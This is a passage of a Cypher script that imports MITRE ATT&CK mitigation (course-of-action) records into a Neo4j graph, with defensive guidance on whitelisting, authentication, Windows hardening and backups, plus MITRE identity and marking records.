(Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Input Capture Mitigation", modified:"2019-07-24T19:42:17.622Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--da8a87d2-946d-4c34-9a30-709058b98996", external_references:["3face13b-bec1-4997-9f56-fdb654f4b142", "a35f5e5f-3707-4d44-a183-026122253b43", "938ba6e4-e1ee-4eec-be6e-05bfb006baaf", "e3ad6bf0-0786-42fc-b49b-57226b202129", "917382a1-6443-4b83-a7bb-453044ca2bcd", "633ee8fa-73ef-44f9-98ce-cb1c72fd7397"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:course_of_action:SDO;
UNWIND [{_id:8431, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)\n\nWindows Group Policy can be used to manage root certificates and the <code>Flags</code> value of <code>HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots</code> can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Install Root Certificate Mitigation", modified:"2019-07-24T19:43:20.432Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c", external_references:["bde4adfc-7d3a-4b85-b080-419e0b36e5d9", "653cf939-22c8-4223-8e1e-776a9a11fb83", "33f9d963-6bd4-4c0f-9ab8-5384a5a32d45"]}}, {_id:8477, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Login Item Mitigation", modified:"2019-07-24T19:49:43.716Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885", external_references:["707f4f5c-20e8-432f-b5dc-12842972a482", "af35123b-9847-42f2-a944-c515f3e407d6"]}}, {_id:8487, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Masquerading Mitigation", modified:"2019-07-25T11:12:58.607Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae", external_references:["a80c2a70-7091-4122-afb8-379193f0d351", "e5456883-081d-48ca-84b7-a3613b8dae85", "26486be8-d4cd-42fb-9bf3-b14b03aa69dd", "bbbae22b-a9a1-45c9-ab58-6cc8a180b5b9", "f5433d47-3510-42b6-b13e-deaf241476b6", "f5bdcb4b-34ba-46e3-a8b6-0b2352316a64"]}}, {_id:8512, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-10T20:53:36.319Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Multi-factor Authentication", modified:"2019-06-10T20:53:36.319Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", external_references:["5f15a71e-b3d4-4911-9b4a-e046bcf7bdff"]}}, {_id:8540, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-10T20:46:02.263Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Use intrusion detection signatures to block traffic at network boundaries.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Network Intrusion Prevention", modified:"2019-06-10T20:46:02.263Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", external_references:["2a932b4f-58d9-45ca-a6ae-3875383392f1"]}}, {_id:8558, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Network Share Discovery Mitigation", modified:"2019-07-25T11:18:18.170Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21", external_references:["61f07a53-08b7-4a7f-a91b-b3026251cad0", "c76ea189-879c-436e-a0c6-120c724bbf86", "1434a853-5a47-4d3c-8c4f-33bf46d0c316", "5f8d1490-dfba-498a-a856-c80679ee31fb", "0071664d-6cb9-4e2f-a274-8225a6a2c406", "34885074-d716-4699-b64f-1df9c9f56320"]}}, {_id:8565, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Network Sniffing Mitigation", modified:"2019-07-25T11:18:47.124Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4", external_references:["b6b37732-1c11-4085-ae79-70382ae6fd0c", "cca4e965-4a79-42ad-a7db-14d44ddccf61", "b6eda78a-4f4f-447a-ad5f-93603e74c52f", "122bc229-aa4a-4cc6-a503-14ee63c60e11", "1e12b919-d123-4e6e-b004-faa51d1b7344", "29b2ce3e-2860-4f2f-a00a-59645a9a0c31"]}}, {_id:8589, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-06T21:16:18.709Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Operating System Configuration", modified:"2019-06-06T21:16:18.709Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", external_references:["6c85266b-7b77-4cf1-8542-df2efcab186d"]}}, {_id:8591, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Pass the Hash Mitigation", modified:"2019-07-25T11:21:20.411Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e", external_references:["412d575a-4fcb-4020-9f23-b681ac2c8ef3", "b8363f11-fdd8-43e6-ad47-c2b63e922074"]}}, {_id:8606, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-06T21:10:35.792Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Set and enforce secure password policies for accounts.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Password Policies", modified:"2019-06-06T21:10:35.792Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", external_references:["dd514182-75ab-4311-9174-e5fa9b1c6b65"]}}, {_id:8646, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-06T21:09:47.115Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Privileged Account Management", modified:"2019-06-06T21:09:47.115Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", external_references:["99136139-d77a-4f94-b47d-c4e45d17ce72"]}}, {_id:8657, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Process Doppelgänging Mitigation", modified:"2019-07-25T11:27:53.526Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--34d6a2ef-370e-4d21-a34b-6208b7c78f31", external_references:["ff315273-8f9a-4ff7-84d4-12ef115ce6c7", "f054afa8-35a9-4a1b-a31a-c3df79cbe05a", "69e726fd-04e8-420c-b72c-e9522507ab88", "a0dd6ad1-c8af-4d04-8dd9-7ab4c79b98b3", "a10bbbba-141b-4644-8890-45f4a7570903", "66451ed5-848d-4c2b-b2be-e07242d68922"]}}, {_id:8712, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Regsvr32 Mitigation", modified:"2019-07-25T11:32:22.755Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--12c13879-b7bd-4bc5-8def-aacec386d432", external_references:["9f8cd038-13f1-40d0-bb5c-44f1e9f02f9c", "90e2ada9-c15a-4657-9a8d-13bed2efae9e"]}}, {_id:8717, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-06T21:21:13.027Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Remote Data Storage", modified:"2019-06-06T21:21:13.027Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea", external_references:["48d04b54-a5b3-4bb6-a8a5-18e68339a4c7"]}}, {_id:8751, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-06T20:54:49.964Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Restrict File and Directory Permissions", modified:"2019-06-06T20:54:49.964Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", external_references:["300145b8-3e2d-4d05-b320-cfddcaf672e8"]}}, {_id:8810, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Screensaver Mitigation", modified:"2019-07-25T11:40:31.541Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3", external_references:["823eb1c5-2044-435f-9dac-25108c11867e", "6684de58-1285-4ebd-be07-9ccaeccdfcdd"]}}, {_id:8860, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-07-19T14:40:23.529Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Software Configuration", modified:"2019-07-19T14:57:15.656Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", external_references:["b4470637-b820-48fd-bb1d-aefcc311b2a3"]}}, {_id:8890, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-24T17:02:25.107Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Stored Data Manipulation Mitigation", modified:"2019-07-25T12:02:27.102Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--e9362d25-4427-446b-99e8-b8f0c3b86615", external_references:["ca9ed4b1-e832-4416-bb2d-d7e4f88af656", "b0f4e7ef-4710-4b04-9df3-56c79d86a8ee"]}}, {_id:8949, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nReduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Taint Shared Content Mitigation", modified:"2019-07-25T12:26:58.596Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--f0a42cad-9b1f-44da-a672-718f18381018", external_references:["b2b3e974-bbad-4c5f-84e3-b8cbf99ee537", "6c776bc1-79a7-4a3b-a4b6-bc37dbb32207", "538a1cf5-bfc8-4bd1-b143-61b777c10511", "7ebba766-86e6-46bb-9f8e-4cd87239ae89", "4e706bc4-a988-4d49-b4d6-dc5091907c0b", "9d8e1c63-30c0-42ae-901b-546003afd205"]}}, {_id:8962, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-06T19:55:50.927Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Threat Intelligence Program", modified:"2019-06-06T19:55:50.927Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8", external_references:["f9cac1c4-361b-4238-ad2d-212004669be0"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:course_of_action:SDO;
UNWIND [{_id:8970, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Timestomp Mitigation", modified:"2019-07-25T12:28:38.388Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488", external_references:["c2a446f3-8825-4907-bdf3-49954e3adf8a", "52159ec6-e90b-4c17-9e8d-9e84c044f8c2", "a5e40f37-0734-4fd7-8789-4b18c4f97d82", "15784be8-7c6b-4051-9c04-4cad9d6fa15c", "a68f74b3-9956-46f5-beff-c6462dea3037", "cd67c3d1-8a36-4b32-bfb9-2cf3e7d62ca4"]}}, {_id:8977, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-24T17:03:39.689Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Identify critical business and system processes that may be targeted by adversaries and work to secure communications related to those processes against tampering. Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Transmitted Data Manipulation Mitigation", modified:"2019-07-25T12:28:59.970Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--245075bc-f992-4d89-af8c-834c53d403f4", external_references:["792faf3d-77a0-400d-8920-ea13490815e3"]}}, {_id:8999, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-11T17:12:55.207Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Perform regular software updates to mitigate exploitation risk.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Update Software", modified:"2019-06-11T17:12:55.207Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", external_references:["d1dabad7-8600-44ad-80ef-0acb1da7a4ed"]}}, {_id:9001, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-11T17:14:35.170Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"User Account Control", modified:"2019-06-11T17:14:35.170Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", external_references:["c8691f59-5e81-4789-91c6-1b478c59e932"]}}, {_id:9003, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-06T16:50:58.767Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Manage the creation, modification, use, and permissions associated to user accounts.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"User Account Management", modified:"2019-06-06T16:50:58.767Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", external_references:["38ad666e-8982-485e-a977-7b5068f160c7"]}}, {_id:9007, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-06T16:50:04.963Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"User Training", modified:"2019-06-06T16:50:04.963Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", external_references:["2b9e83f0-cc94-4265-b514-5afa9b08f488"]}}, {_id:9039, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Windows Management Instrumentation Event Subscription Mitigation", modified:"2019-07-25T12:35:09.565Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259", external_references:["10cc05c9-419d-44c7-b85d-d9a27b304172", "dd3cb370-0a53-44d0-8a72-77a4f2b9544a"]}}, {_id:1887, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Accessibility Features Mitigation", modified:"2019-07-24T14:03:37.885Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8", external_references:["b866b99e-9a37-4367-9b55-c3e311729664", "5dec7068-67b6-4d31-9afd-9afb4711533e", "1bbcc5a6-0b51-4a7f-8f11-ace7149cd210", "289d81e5-1d35-4fbb-bbd0-798a61b099bf", "887e0ee7-6e71-4655-8419-f42755461e95", "68795f49-656a-474d-9916-01b14d3884dd", "e16a34ea-9c30-49bb-8fd5-598d0a77246e", "53f9d171-28bd-464e-9bf0-9a04bf395e05"]}}, {_id:1896, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Account Discovery Mitigation", modified:"2019-07-24T14:30:29.221Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97", external_references:["08196abb-d93b-49ee-935a-46a1acdcbd79", "9240225c-d7cd-44af-bb45-501940f8e2b1", "805c89a4-7141-4efb-a1ba-93b6cd45678e", "be67d7da-7b32-418c-b04f-d0925bc70bb7", "e5d365be-57f4-4c4d-b2b1-652ad0c279d1", "136251b3-6521-4e1d-b231-f049fa58fa77", "87589f24-624d-4f55-b227-05542bc9cad2"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:course_of_action:SDO;
UNWIND [{_id:9055, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], identity_class:"organization", sectors:[], created:"2017-06-01T00:00:00.000Z", custom:"{}", description:"", contact_information:"", type:"identity", revoked:false, labels:[], granular_markings:[], name:"The MITRE Corporation", modified:"2017-06-01T00:00:00.000Z", created_by_ref:"", id:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", external_references:[]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:identity:SDO;
UNWIND [{_id:11334, properties:{object_marking_refs:[], granular_markings:[], definition_id:"21ab8782-cc9e-4928-a13e-9dc43e0451e3", definition_type:"statement", created:"2017-06-01T00:00:00Z", custom:"{}", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168", type:"marking-definition", external_references:[]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:StixObj:marking_definition;
